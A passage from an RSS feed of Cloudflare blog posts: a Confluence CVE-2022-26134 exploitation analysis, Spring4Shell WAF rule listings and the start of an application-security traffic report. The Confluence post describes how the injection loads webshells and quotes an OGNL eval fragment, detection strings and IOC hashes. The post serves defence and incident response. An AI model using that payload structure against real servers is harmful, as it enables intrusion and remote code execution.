    <p>Our roadmap is packed with both new application security features and improvements to existing systems. As we learn more about the Internet we find ourselves better equipped to keep your applications safe. Stay tuned for more.</p><p><i>Gartner, “Magic Quadrant for Web Application and API Protection”, Analyst(s): Jeremy D'Hoinne, Rajpreet Kaur, John Watts, Adam Hils, August 30, 2022.</i></p><p><i>Gartner and Magic Quadrant are registered trademarks of Gartner, Inc. and/or its affiliates in the U.S. and internationally and is used herein with permission. All rights reserved.Gartner does not endorse any vendor, product or service depicted in its research publications, and does not advise technology users to select only those vendors with the highest ratings or other designation.</i></p><p><i>Gartner research publications consist of the opinions of Gartner’s research organization and should not be construed as statements of fact. Gartner disclaims all warranties, expressed or implied, with respect to this research, including any warranties of merchantability or fitness for a particular purpose.</i></p> ]]></content:encoded>
            <category><![CDATA[WAF]]></category>
            <category><![CDATA[Security]]></category>
            <category><![CDATA[API Security]]></category>
            <category><![CDATA[DDoS]]></category>
            <category><![CDATA[Bot Management]]></category>
            <category><![CDATA[Page Shield]]></category>
            <category><![CDATA[Gartner]]></category>
            <guid isPermaLink="false">2tRJFHozu8n8pAwXBJ1tSY</guid>
            <dc:creator>Michael Tremante</dc:creator>
        </item>
        <item>
            <title><![CDATA[Cloudflare observations of Confluence zero day (CVE-2022-26134)]]></title>
            <link>https://blog.cloudflare.com/cloudflare-observations-of-confluence-zero-day-cve-2022-26134/</link>
            <pubDate>Sun, 05 Jun 2022 20:54:47 GMT</pubDate>
            <description><![CDATA[ UTC Atlassian released a Security Advisory relating to a remote code execution (RCE) vulnerability affecting Confluence Server and Confluence Data Center products. ]]></description>
            <content:encoded><![CDATA[ <p>On 2022-06-02 at 20:00 UTC <a href="https://confluence.atlassian.com/doc/confluence-security-advisory-2022-06-02-1130377146.html">Atlassian released a Security Advisory</a> relating to a <a href="https://www.cloudflare.com/learning/security/what-is-remote-code-execution/">remote code execution (RCE)</a> vulnerability affecting Confluence Server and Confluence Data Center products. This post covers our current analysis of this vulnerability.</p><p>When we learned about the vulnerability, Cloudflare’s internal teams <a href="/cloudflare-customers-are-protected-from-the-atlassian-confluence-cve-2022-26134/">immediately engaged</a> to ensure all our customers and our own infrastructure were protected:</p><ul><li><p>Our Web Application Firewall (WAF) teams started work on our first <a href="/cloudflare-customers-are-protected-from-the-atlassian-confluence-cve-2022-26134/">mitigation rules</a> that were deployed on 2022-06-02 at 23:38 UTC for all customers.</p></li><li><p>Our internal security team started reviewing our Confluence instances to ensure Cloudflare itself was not impacted.</p></li></ul>
    <div>
      <h3>What is the impact of this vulnerability?</h3>
      <a href="#what-is-the-impact-of-this-vulnerability">
        
      </a>
    </div>
    <p><a href="https://www.volexity.com/blog/2022/06/02/zero-day-exploitation-of-atlassian-confluence/">According to Volexity</a>, the vulnerability results in full unauthenticated RCE, allowing an attacker to fully take over the target application.</p><p>Active exploits of this vulnerability leverage command injections using specially crafted strings to load a malicious class file in memory, allowing attackers to subsequently plant a webshell on the target machine that they can interact with.</p><p>Once the vulnerability is exploited, attackers can implant additional malicious code such as <a href="https://github.com/Freakboy/Behinder">Behinder</a>; a custom webshell called noop.jsp, which replaces the legitimate noop.jsp file located at Confluence root&gt;/confluence/noop.jsp; and another open source webshell called <a href="https://github.com/tennc/webshell/blob/master/caidao-shell/%E8%8F%9C%E5%88%80jsp%E4%BF%AE%E6%94%B9.jsp">Chopper</a>.</p>
    <div>
      <h3>Our observations of exploit attempt in the wild</h3>
      <a href="#our-observations-of-exploit-attempt-in-the-wild">
        
      </a>
    </div>
    <p>Once we learned of the vulnerability, we began reviewing our WAF data to identify activity related to exploitation of the vulnerability. We identified requests matching potentially malicious payloads as early as 2022-05-26 00:33 UTC, indicating that knowledge of the exploit was realized by some attackers prior to the Atlassian security advisory.</p><p>Since our mitigation rules were put in place, we have seen a large spike in activity starting from 2022-06-03 10:30 UTC — a little more than 10 hours after the new WAF rules were first deployed. This large spike coincides with the increased awareness of the vulnerability and release of public proof of concepts. Attackers are actively scanning for vulnerable applications at time of writing.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/1IKKemXcnzUEHLEmQQrkOE/ab2f1228eb76ce5d17642ad1a1fa1eea/image2-1.png" />
            
            </figure><p>Although we have seen valid attack payloads since 2022-05-26, many payloads that started matching our initial WAF mitigation rules once the advisory was released were not valid against this specific vulnerability. Examples provided below:</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/7fvJyCJWOgwmFHSZ2xvwF0/0504607939ea41ecb9574c54c2cbd7fe/Screenshot-2022-06-05-at-21.27.02.png" />
            
            </figure><p>The activity above indicates that actors were using scanning tools to try and identify the attack vectors. Exact knowledge of how to exploit the vulnerability may have been consolidated amongst select attackers and may not have been widespread.</p><p>The decline in WAF rule matches in the graph above after 2022-06-03 23:00 UTC is due to us releasing improved WAF rules. The new, updated rules greatly improved accuracy, reducing the number of false positives, such as the examples above.</p><p>A valid malicious URL targeting a vulnerable Confluence application is shown below:</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/2Y0Pq6cYpZ7QnktHmGw8J3/5d9527c10b5b919166524124aca34e34/Screenshot-2022-06-05-at-21.31.21-1.png" />
            
            </figure><p>(Where <code>$HOSTNAME</code> is the host of the target application.)</p><p>The URL above will run the contents of the HTTP request post body <code>eval(#parameters.data[0])</code>. Normally this will be a script that will download a web shell to the local server allowing the attacker to run arbitrary code on demand.</p><p>Other example URLs, omitting the schema and hostname, include:</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/70pRSh2wwa3VOobn1qW3IQ/0510af994d2b19a56365b931726ad3ff/Screenshot-2022-06-05-at-21.35.24.png" />
            
            </figure><p>Some of the activity we are observing is indicative of malware campaigns and botnet behavior. It is important to note that given the payload structure, other WAF rules have also been effective at mitigating particular variations of the attack. These include rule <b>PHP100011</b> and <b>PLONE0002</b>.</p>
    <div>
      <h3>Cloudflare's response to CVE-2022-26134</h3>
      <a href="#cloudflares-response-to-cve-2022-26134">
        
      </a>
    </div>
    <p>We have a defense-in-depth approach which uses Cloudflare to protect Cloudflare. We had high confidence that we were not impacted by this vulnerability due to the security measures in place. We confirmed this by leveraging our detection and response capabilities to sweep all of our internal assets and logs for signs of attempted compromise.</p><p>The main actions we took in response to this incident were:</p><ol><li><p>Gathered as much information as possible about the attack.</p></li><li><p>Engaged our WAF team to start working on mitigation rules for this CVE.</p></li><li><p>Searched our logs for any signs of compromise.</p></li><li><p>We searched the logs from our internal Confluence instances for any signs of attempted exploits. We supplemented our assessment with the pattern strings provided by Atlassian: "<code>${</code>".</p></li><li><p>Any matches were reviewed to find out if they could be actual exploits. We found no signs that our systems were targeted by actual exploits.</p></li><li><p>As soon as the WAF team was confident of the quality of the new rules, we started deploying them to all our servers to start protecting our customers as soon as possible. As we also use the WAF for our internal systems, our Confluence instances are also protected by the new WAF rules.</p></li><li><p>We scrutinized our Confluence servers for signs of compromise and the presence of malicious implants. No signs of compromise were detected.</p></li><li><p>We deployed rules to our SIEM and monitoring systems to detect any new exploitation attempt against our Confluence instances.</p></li></ol>
    <div>
      <h3>How Cloudflare uses Confluence</h3>
      <a href="#how-cloudflare-uses-confluence">
        
      </a>
    </div>
    <p>Cloudflare uses Confluence internally as our main wiki platform. Many of our teams use Confluence as their main knowledge-sharing platform. Our internal instances are protected by Cloudflare Access. In previous blog posts, we described <a href="/dogfooding-from-home/">how we use Access to protect internal resources</a>. This means that every request sent to our Confluence servers must be authenticated and validated in accordance with our Access policies. No unauthenticated access is allowed.</p><p>This allowed us to be confident that only Cloudflare users are able to submit requests to our Confluence instances, thus reducing the risk of external exploitation attempts.</p>
    <div>
      <h3>What to do if you are using Confluence on-prem</h3>
      <a href="#what-to-do-if-you-are-using-confluence-on-prem">
        
      </a>
    </div>
    <p>If you are an Atlassian customer for their on-prem products, you should patch to their latest fixed versions. We advise the following actions:</p><ol><li><p>Add Cloudflare Access as an extra protection layer for all your websites. Easy-to-follow instructions to enable Cloudflare Access are available <a href="https://developers.cloudflare.com/cloudflare-one/applications/configure-apps/self-hosted-apps/">here</a>.</p></li><li><p>Enable a WAF that includes protection for CVE-2022-26134 in front of your Confluence instances. For more information on how to enable Cloudflare's WAF and other security products, check <a href="https://developers.cloudflare.com/fundamentals/get-started/task-guides/secure-your-website/">here</a>.</p></li><li><p>Check the logs from your Confluence instances for signs of exploitation attempts. Look for the strings <code>/wiki/</code> and <code>${</code> in the same request.</p></li><li><p>Use forensic tools and check for signs of post-exploitation tools such as webshells or other malicious implants.</p></li></ol>
    <div>
      <h3>Indicators of compromise and attack</h3>
      <a href="#indicators-of-compromise-and-attack">
        
      </a>
    </div>
    <p>The following indicators are associated with activity observed in the wild by Cloudflare, as described above. These indicators can be searched for against logs to determine if there is compromise in the environment associated with the Confluence vulnerability.</p><p><b>Indicators of Compromise (IOC)</b></p><table><tr><td><p><b>#</b></p></td><td><p><b>Type</b></p></td><td><p><b>Value</b></p></td><td><p><b>Filename/Hash</b></p></td></tr><tr><td><p>
1</p></td><td><p>
File</p></td><td><p>50f4595d90173fbe8b85bd78a460375d8d5a869f1fef190f72ef993c73534276</p></td><td><p>Filename: 45.64.json
Malicious file associated with exploit</p></td></tr><tr><td><p>
2</p></td><td><p>
File</p></td><td><p>b85c16a7a0826edbcddbd2c17078472169f8d9ecaa7209a2d3976264eb3da0cc</p></td><td><p>Filename: 45.64.rar
Malicious file associated with exploit</p></td></tr><tr><td><p>
3</p></td><td><p>
File</p></td><td><p>90e3331f6dd780979d22f5eb339dadde3d9bcf51d8cb6bfdc40c43d147ecdc8c</p></td><td><p>Filename: 45.640.txt
Malicious file associated with exploit</p></td></tr><tr><td><p>4</p></td><td><p>File</p></td><td><p>1905fc63a9490533dc4f854d47c7cb317a5f485218173892eafa31d7864e2043</p></td><td><p>Filename: 45.647.txt
Malicious file associated with exploit</p></td></tr><tr><td><p>5</p></td><td><p>File</p></td><td><p>5add63588480287d1aee01e8dd267340426df322fe7a33129d588415fd6551fc</p></td><td><p>Filename: lan (perl script)
Malicious file associated with exploit</p></td></tr><tr><td><p>6</p></td><td><p>File</p></td><td><p>67c2bae1d5df19f5f1ac07f76adbb63d5163ec2564c4a8310e78bcb77d25c988</p></td><td><p>Filename: jui.sh
Malicious file associated with exploit</p></td></tr><tr><td><p>7</p></td><td><p>File</p></td><td><p>281a348223a517c9ca13f34a4454a6fdf835b9cb13d0eb3ce25a76097acbe3fb</p></td><td><p>Filename: conf
Malicious file associated with exploit</p></td></tr></table><p><b>Indicators of Attack (IOA)</b></p><table><tr><td><p><b>#</b></p></td><td><p><b>Type</b></p></td><td><p><b>Value</b></p></td><td><p><b>Description</b></p></td></tr><tr><td><p>1</p></td><td><p>URL String</p></td><td><p><code>${</code></p></td><td><p>String used to craft malicious payload</p></td></tr><tr><td><p>2</p></td><td><p>URL String</p></td><td><p><code>javax.script.ScriptEngineManager</code></p></td><td><p>String indicative of ScriptEngine manager to craft malicious payloads</p></td></tr></table><p></p> ]]></content:encoded>
            <category><![CDATA[Vulnerabilities]]></category>
            <category><![CDATA[WAF]]></category>
            <category><![CDATA[Zero Day Threats]]></category>
            <guid isPermaLink="false">j2kQP8hkENoxJ6Nhn4VEf</guid>
            <dc:creator>Vaibhav Singhal</dc:creator>
            <dc:creator>Himanshu Anand</dc:creator>
            <dc:creator>Daniel Stinson-Diess</dc:creator>
            <dc:creator>Sourov Zaman</dc:creator>
            <dc:creator>Michael Tremante</dc:creator>
        </item>
        <item>
            <title><![CDATA[WAF mitigations for Spring4Shell]]></title>
            <link>https://blog.cloudflare.com/waf-mitigations-spring4shell/</link>
            <pubDate>Thu, 31 Mar 2022 15:13:13 GMT</pubDate>
            <description><![CDATA[ Cloudflare Managed Ruleset updates for the recent vulnerabilities affecting the Java Spring framework and related software components ]]></description>
            <content:encoded><![CDATA[ <p></p><p>This post was updated on 5th April 2022 to include toggled rules and new rules for CVE-2022-22965</p><p>A set of high profile vulnerabilities have been identified affecting the popular <a href="https://spring.io/">Java Spring Framework</a> and related software components - generally being referred to as Spring4Shell.</p><p>Four CVEs (Common Vulnerabilities and Exposures) have been released so far and are being actively updated as new information emerges. These vulnerabilities can result, in the worst case, in full remote code execution (RCE) compromise:</p><ul><li><p><a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-22947">CVE-2022-22947</a> - [<a href="https://tanzu.vmware.com/security/cve-2022-22947">official VMware post</a>]</p></li><li><p><a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-22950">CVE-2022-22950</a> - [<a href="https://tanzu.vmware.com/security/cve-2022-22950">official VMware post</a>]</p></li><li><p><a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-22963">CVE-2022-22963</a> - [<a href="https://spring.io/blog/2022/03/29/cve-report-published-for-spring-cloud-function">official Spring project post</a>]</p></li><li><p><a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-22965">CVE-2022-22965</a> - [<a href="https://spring.io/blog/2022/03/31/spring-framework-rce-early-announcement">official Spring project post</a>]</p></li></ul><p>Customers using Java Spring and related software components, such as the Spring Cloud Gateway, should immediately review their software and update to the latest versions by following the official Spring project guidance.</p><p>The <a href="https://www.cloudflare.com/waf/">Cloudflare WAF</a> team is actively monitoring these CVEs and has already deployed a number of new managed mitigation rules. Customers should review the rules listed below to ensure they are enabled while also patching the underlying Java Spring components.</p>
    <div>
      <h3>CVE-2022-22947</h3>
      <a href="#cve-2022-22947">
        
      </a>
    </div>
    <p>A new rule has been developed and deployed for this CVE with an <a href="https://developers.cloudflare.com/waf/change-log/2022-03-29-emergency-release/">emergency release on March 29,</a> which started blocking the vulnerability since the <a href="https://developers.cloudflare.com/waf/change-log/2022-04-04-emergency-release/">emergency release on the 4th, April  2022</a>:</p><p>Managed Rule <b><i><b>Spring - CVE:CVE-2022-22947</b></i></b></p><ul><li><p>WAF rule ID: <code>e777f95584ba429796856007fbe6c869</code></p></li><li><p>Legacy rule ID: <code>100522</code></p></li></ul>
    <div>
      <h3>CVE-2022-22950 and CVE-2022-22963</h3>
      <a href="#cve-2022-22950-and-cve-2022-22963">
        
      </a>
    </div>
    <p>Currently, available PoCs are blocked by the following rule:</p><p>Managed <i>Rule </i><b><i>PHP - Code Injection</i></b></p><ul><li><p>WAF rule ID: <code>55b100786189495c93744db0e1efdffb</code></p></li><li><p>Legacy rule ID: <code>PHP100011</code></p></li></ul>
    <div>
      <h3>CVE-2022-22963 and CVE-2022-22965</h3>
      <a href="#cve-2022-22963-and-cve-2022-22965">
        
      </a>
    </div>
    <p>Currently, available PoCs are blocked by the following rule:</p><p>Managed Rule <b><i>Plone - Dangerous File Extension</i></b></p><ul><li><p>WAF rule ID: <code>aa3411d5505b4895b547d68950a28587</code></p></li><li><p>Legacy WAF ID: <code>PLONE0001</code></p></li></ul><p>We also deployed a new rule via an <a href="https://developers.cloudflare.com/waf/change-log/2022-03-31-emergency-release/">emergency release on March 31</a> (today at time of writing) to cover additional variations attempting to exploit this vulnerability, which started blocking since the <a href="https://developers.cloudflare.com/waf/change-log/2022-04-04-emergency-release/">emergency release on the 4th, April, 2022</a></p><p>Managed Rule <b><i>Spring - Code Injection</i></b></p><ul><li><p>WAF rule ID: <code>d58ebf5351d843d3a39a4480f2cc4e84</code></p></li><li><p>Legacy WAF ID: <code>100524</code></p></li></ul><p>Additionally, customers can receive protection against this CVE by deploying the Cloudflare OWASP Core Ruleset with default or better settings on our new WAF. Customers using our legacy WAF will have to configure a high OWASP sensitivity level.</p> ]]></content:encoded>
            <category><![CDATA[WAF]]></category>
            <category><![CDATA[Security]]></category>
            <category><![CDATA[CVE]]></category>
            <category><![CDATA[Vulnerabilities]]></category>
            <guid isPermaLink="false">5x1vBdk7Ot4xN3MXd1ShuK</guid>
            <dc:creator>Michael Tremante</dc:creator>
            <dc:creator>Himanshu Anand</dc:creator>
        </item>
        <item>
            <title><![CDATA[Application security: Cloudflare’s view]]></title>
            <link>https://blog.cloudflare.com/application-security/</link>
            <pubDate>Mon, 21 Mar 2022 12:59:50 GMT</pubDate>
            <description><![CDATA[ In this post, we share some of the insights we’ve gathered from the 32 million HTTP requests/second that pass through our network ]]></description>
            <content:encoded><![CDATA[ <p></p><p>Developers, bloggers, business owners, and large corporations all rely on Cloudflare to <a href="https://www.cloudflare.com/application-services/solutions/">keep their applications secure, available, and performant</a>.</p><p>To meet these goals, over the last twelve years we have built a smart network capable of protecting many millions of Internet properties. As of March 2022, <a href="https://w3techs.com/technologies/details/cn-cloudflare">W3Techs reports that</a>:</p><blockquote><p><i>“Cloudflare is used by 80.6% of all the websites whose reverse proxy service we know. This is 19.7% of all websites”</i></p></blockquote><p>Netcraft, another provider who crawls the web and monitors adoption puts this figure at more than 20M active sites in their latest <a href="https://news.netcraft.com/archives/2022/02/28/february-2022-web-server-survey.html">Web Server Survey (February 2022)</a>:</p><blockquote><p><i>“Cloudflare continues to make strong gains amongst the million busiest websites, where it saw the only notable increases, with an additional 3,200 sites helping to bring its market share up to 19.4%”</i></p></blockquote><p>The breadth and diversity of the sites we protect, and the billions of browsers and devices that interact with them, gives us unique insight into the ever-changing application security trends on the Internet. In this post, we share some of those insights we’ve gathered from the 32 million HTTP requests/second that pass through our network.</p>
    <div>
      <h2>Definitions</h2>
      <a href="#definitions">
        
      </a>
    </div>
    <p>Before we examine the data, it is useful to define the terminology we use. Throughout this post, we will refer to the following terms:</p><ul><li><p><b>Mitigated Traffic</b>: any eyeball HTTP***** request that had a “terminating” action applied to by the Cloudflare platform. These include actions such as <code>BLOCK</code>, <code>CHALLENGE</code> (such as captchas or JavaScript based challenges). This does not include requests that had the following actions applied: <code>LOG</code>, <code>SKIP</code>, <code>ALLOW</code>.</p></li><li><p><b>Bot Traffic/Automated Traffic</b>: any HTTP request identified by Cloudflare’s <a href="https://www.cloudflare.com/products/bot-management/">Bot Management</a> system as being generated by a bot. This includes requests scored between <a href="https://developers.cloudflare.com/bots/concepts/bot-score/">1 and 29</a>.</p></li><li><p><b>API Traffic</b>: any HTTP request with a response content type of <code>XML</code>, <code>JSON</code>, <code>gRPC</code>, or similar. Where the response content type is not available, such as for mitigated requests, the equivalent <code>Accept</code> content type (specified by the user agent) is used instead. In this latter case API traffic won’t be fully accounted for, but for insight purposes it still provides a good representation.</p></li></ul><p>Unless otherwise stated, the time frame evaluated in this post is the three-month period from December 1, 2021, to March 1, 2022.</p><p>Finally, please note that the data is calculated based only on traffic observed across the Cloudflare network and does not necessarily represent overall HTTP traffic patterns across the Internet.</p><p>*When referring to HTTP traffic we mean both HTTP and HTTPS.</p>
    <div>
      <h2>Global Traffic Insights</h2>
      <a href="#global-traffic-insights">
        
      </a>
    </div>
    <p>The first thing we can look at is traffic mitigated across all HTTP requests proxied by the Cloudflare network. This will give us a good baseline view before drilling into specific traffic types, such as bot and API traffic.</p>
    <div>
      <h3>8% of all Cloudflare HTTP traffic is mitigated</h3>
      <a href="#8-of-all-cloudflare-http-traffic-is-mitigated">
        
      </a>
    </div>
    <p>Cloudflare's proxies ~32 million HTTP requests per second on average, with more than ~44 million HTTP requests per second at peak. Overall, ~2.5 million requests per second are mitigated by our global network and never reach our caches or the origin servers, ensuring our customers’ bandwidth and compute power is only used for clean traffic.</p><p>Site owners using Cloudflare gain access to tools to mitigate unwanted or malicious traffic and allow access to their applications only when a request is deemed clean. This can be done both using fully managed features, such as our <a href="https://www.cloudflare.com/ddos/">DDoS mitigation</a>, <a href="https://www.cloudflare.com/waf/">WAF</a> managed ruleset or schema validation, as well as custom rules that allow users to define their own filters for blocking traffic.</p><p>If we look at the top five Cloudflare features (sources) that mitigated traffic, we get a clear picture of how much each Cloudflare feature is contributing towards helping keep customer sites and applications online and secure:</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/5GWHpYk7S1KnFnbZZ6vYx2/c391a8d56983ccc3dac9595edad660a7/image7-1.png" />
            
            </figure><table><tr><td><p><b>Source</b></p></td><td><p><b>Percentage %</b></p></td></tr><tr><td><p>Layer 7 DDoS mitigation</p></td><td><p>66.0%</p></td></tr><tr><td><p>Custom WAF Rules</p></td><td><p>19.0%</p></td></tr><tr><td><p>Rate Limiting</p></td><td><p>10.5%</p></td></tr><tr><td><p>IP Threat Reputation</p></td><td><p>2.5%</p></td></tr><tr><td><p>Managed WAF Rules</p></td><td><p>1.5%</p></td></tr></table><p>Looking at each mitigation source individually:</p><ul><li><p><b>Layer 7 DDoS mitigation,</b> perhaps unsurprisingly, is the largest contributor to mitigated HTTP requests by total count (66% overall). Cloudflare’s layer 7 DDoS rules are fully managed and don’t require user configuration: they automatically detect a vast array of HTTP DDoS attacks including those generated by the <a href="/meris-botnet/">Meris botnet</a>, <a href="/cloudflare-blocks-an-almost-2-tbps-multi-vector-ddos-attack/">Mirai botnet</a>, known attack tools, and others. Volumetric DDoS attacks, by definition, create a lot of malicious traffic!</p></li><li><p><b>Custom WAF Rules</b> contribute to more than 19% of mitigated HTTP traffic. These are user-configured rules defined using Cloudflare’s <a href="https://developers.cloudflare.com/ruleset-engine/rules-language/">wirefilter syntax</a>. We explore common rule patterns further down in this post.</p></li><li><p>Our <b>Rate Limiting</b> feature allows customers to define custom thresholds based on application preferences. It is often used as an additional layer of protection for applications against traffic patterns that are too low to be detected as a DDoS attack. Over the time frame analyzed, rate limiting contributed to 10.5% of mitigated HTTP requests.</p></li><li><p><b>IP Threat Reputation</b> is exposed in the Cloudflare dashboard as Security Level. Based on behavior we observe across the network, Cloudflare automatically assigns a threat score to each IP address. When the threat score is above the specified threshold, we challenge the traffic. This accounts for 2.5% of all mitigated HTTP requests.</p></li><li><p>Our <b>Managed WAF Rules</b> are rules that are handcrafted by our internal security analyst team aimed at matching only against valid malicious payloads. They contribute to about 1.5% of all mitigated requests.</p></li></ul>
    <div>
      <h3>HTTP anomalies are the most common attack vector</h3>
      <a href="#http-anomalies-are-the-most-common-attack-vector">
        
      </a>
    </div>
    <p>If we drill into Managed WAF Rules, we get a clear picture of what type of attack vectors malicious users are attempting against the Internet properties we protect.</p><p>The vast majority (over 54%) of HTTP requests blocked by our Managed WAF Rules contain HTTP anomalies, such as malformed method names, null byte characters in headers, non-standard ports or content length of zero with a <code>POST</code> request.</p><p>Common attack types in this category are shown below. These have been grouped when relevant:</p><table><tr><td><p><b>Rule Type</b></p></td><td><p><b>Description</b></p></td></tr><tr><td><p>Missing User Agent</p></td><td><p>These rules will block any request without a <code>User-Agent </code>header. All browsers and legitimate crawlers present this header when connecting to a site. Not having a user agent is a common signal of a malicious request.</p></td></tr><tr><td><p>Not <code>GET</code>, ⁣<code>POST </code>or <code>HEAD </code>Method</p></td><td><p>Most applications only allow standard <code>GET </code>or <code>POST </code>requests (normally used for viewing pages or submitting forms). <code>HEAD </code>requests are also often sent from browsers for security purposes. Customers using our Managed Rules can easily block any other method - which normally results in blocking a large number of vulnerability scanners.</p></td></tr><tr><td><p>Missing Referer</p></td><td><p>When users navigate applications, browsers use the <code>Referer </code>header to indicate where they are coming from. Some applications expect this header to always be present.</p></td></tr><tr><td><p>Non-standard port</p></td><td><p>Customers can configure Cloudflare Managed Rules to block HTTP requests trying to access non-standard ports (such as 80 and 443). This is activity normally seen by vulnerability scanners.</p></td></tr><tr><td><p>Invalid UTF-8 encoding</p></td><td><p>It is common for attackers to attempt to break an application server by sending “special” characters that are not valid in UTF-8 encoding.</p></td></tr></table><p>More commonly known and referenced attack vectors such as <a href="https://www.cloudflare.com/learning/security/threats/cross-site-scripting/">XSS</a> and SQLi only contribute to about 13% of total mitigated requests. More interestingly, attacks aimed at information disclosure are third most popular (10%) and software-specific CVE-based attacks account for about 12% of mitigated requests (more than SQLi alone) highlighting both the importance of needing to patch software quickly, and the likelihood of CVE proof-of-concepts (PoCs) being used to compromise applications, such as with the recent <a href="/tag/log4j/">Log4J</a> vulnerability. The top 10 attack vectors by percentage of mitigated requests are shown below:</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/4rzfdf3Rf5lAWrWOOQEeMm/07da4fa62caa59facd48934d28503d98/image1-96.png" />
            
            </figure><p>Tabular format for reference:</p><table><tr><td><p><b>Source</b></p></td><td><p><b>Percentage %</b></p></td></tr><tr><td><p>HTTP Anomaly</p></td><td><p>54.5%</p></td></tr><tr><td><p>Vendor Specific CVE</p></td><td><p>11.8%</p></td></tr><tr><td><p>Information Disclosure</p></td><td><p>10.4%</p></td></tr><tr><td><p>SQLi</p></td><td><p>7.0%</p></td></tr><tr><td><p>XSS</p></td><td><p>6.1%</p></td></tr><tr><td><p>File Inclusion</p></td><td><p>3.3%</p></td></tr><tr><td><p>Fake Bots</p></td><td><p>3.0%</p></td></tr><tr><td><p>Command Injection</p></td><td><p>2.7%</p></td></tr><tr><td><p>Open Redirects</p></td><td><p>0.1%</p></td></tr><tr><td><p>Other</p></td><td><p>1.5%</p></td></tr></table>
    <div>
      <h3>Businesses still rely on IP address-based access lists to protect their assets</h3>
      <a href="#businesses-still-rely-on-ip-address-based-access-lists-to-protect-their-assets">
        
      </a>
    </div>
    <p>In the prior section, we noted that 19% of mitigated requests come from Custom WAF Rules. These are rules that Cloudflare customers have implemented using the <a href="https://developers.cloudflare.com/ruleset-engine/rules-language/">wirefilter syntax</a>. At time of writing, Cloudflare customers had a total of ~6.5 million Custom WAF rules deployed.</p><p>It is interesting to look at what rule fields customers are using to identify malicious traffic, as this helps us focus our efforts on what other fully automated mitigations could be implemented to improve the Cloudflare platform.</p><p>The most common field, found in approximately 64% of all custom rules, remains the source IP address or fields easily derived from the IP address, such as the client country location. Note that IP addresses are becoming <a href="/icloud-private-relay/">less useful</a> signals for security policies, but they are often the quickest and simplest type of filter to implement during an attack. Customers are also starting to adopt better <a href="https://www.cloudflare.com/learning/security/glossary/what-is-zero-trust/">approaches</a> such as those offered in our <a href="https://www.cloudflare.com/products/zero-trust/zero-trust-network-access/">Zero Trust portfolio</a> to further reduce reliance on IP address-based fields.</p><p>The top 10 fields are shown below:</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/3cwHe3Jho6Kmn2abAyrNcz/506c342af633c913aa2337113cb118c5/image2-79.png" />
            
            </figure><p>Tabular format for reference:</p><table><tr><td><p><b>Field name</b></p></td><td><p><b>Used in % of rules</b></p></td></tr><tr><td><p>ip</p></td><td><p>64.9%</p></td></tr><tr><td><p>ip_geoip_country</p></td><td><p>27.3%</p></td></tr><tr><td><p>http_request_uri</p></td><td><p>24.1%</p></td></tr><tr><td><p>http_user_agent</p></td><td><p>21.8%</p></td></tr><tr><td><p>http_request_uri_path</p></td><td><p>17.8%</p></td></tr><tr><td><p>http_referer</p></td><td><p>8.6%</p></td></tr><tr><td><p>cf_client_bot</p></td><td><p>8.3%</p></td></tr><tr><td><p>http_host</p></td><td><p>7.8%</p></td></tr><tr><td><p>ip_geoip_asnum</p></td><td><p>5.8%</p></td></tr><tr><td><p>cf_threat_score</p></td><td><p>4.4%</p></td></tr></table><p>Beyond IP addresses, standard HTTP request fields (<code>URI</code>, <code>User-Agent</code>, <code>Path</code>, <code>Referer</code>) tend to be the most popular. Note, also, that across the entire rule corpus, the average rule combines at least three independent fields.</p>
    <div>
      <h2>Bot Traffic Insights</h2>
      <a href="#bot-traffic-insights">
        
      </a>
    </div>
    <p>Cloudflare has long offered a <a href="https://www.cloudflare.com/products/bot-management/">Bot Management</a> solution to allow customers to gain insights into the automated traffic that might be accessing their application. Using Bot Management classification data, we can perform a deep dive into the world of bots.</p>
    <div>
      <h3>38% of HTTP traffic is automated</h3>
      <a href="#38-of-http-traffic-is-automated">
        
      </a>
    </div>
    <p>Over the time period analyzed, bot traffic accounted for about 38% of all HTTP requests. This traffic includes bot traffic from hundreds of <a href="https://radar.cloudflare.com/verified-bots">Verified Bots tracked by Cloudflare</a>, as well as any request that received a bot score below 30, indicating a high likelihood that it is automated.</p><p>Overall, when bot traffic matches a security configuration, customers allow 41% of bot traffic to pass to their origins, blocking only 6.4% of automated requests. Remember that this includes traffic coming from <a href="/friendly-bots/">Verified Bots</a> like GoogleBot, which ultimately benefits site owners and end users. It’s a reminder that automation in and of itself is not necessarily detrimental to a site.  This is why we segment Verified Bot traffic, and why we give customers a granular bot score, rather than a binary “bot or not bot” indicator. Website operators want the flexibility to be precise with their response to different types of bot traffic, and we can see that they do in fact use this flexibility. Note that our self-serve customers can also decide how to handle bot traffic using our <a href="/super-bot-fight-mode/">Super Bot Fight Mode</a> feature.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/11DcY8IDHUSzyU98QwnMwr/1233c2132a4ec5d0a9a6da9ebdfd2cf7/image6-6.png" />
            
            </figure><p>Tabular data for reference:</p><table><tr><td><p><b>Action on all bot traffic</b></p></td><td><p><b>Percentage %</b></p></td></tr><tr><td><p>allow</p></td><td><p>40.9%</p></td></tr><tr><td><p>log</p></td><td><p>31.9%</p></td></tr><tr><td><p>bypass</p></td><td><p>19.0%</p></td></tr><tr><td><p>block</p></td><td><p>6.4%</p></td></tr><tr><td><p>jschallenge</p></td><td><p>0.5%</p></td></tr></table>
    <div>
      <h3>More than a third of non-verified bot HTTP traffic is mitigated</h3>
      <a href="#more-than-a-third-of-non-verified-bot-http-traffic-is-mitigated">
        
      </a>
    </div>
    <p>31% of all bot traffic observed by Cloudflare is not verified, and comes from thousands of custom-built automated tools like scanners, crawlers, and bots built by hackers. As noted above, automation does not necessarily mean these bots are performing malicious actions. If we look at customer responses to identified bot traffic, we find that 38.5% of HTTP requests from non-verified bots are mitigated. This is obviously a much more defensive configuration compared to overall bot traffic actions shown above:</p>
            <figure>
            
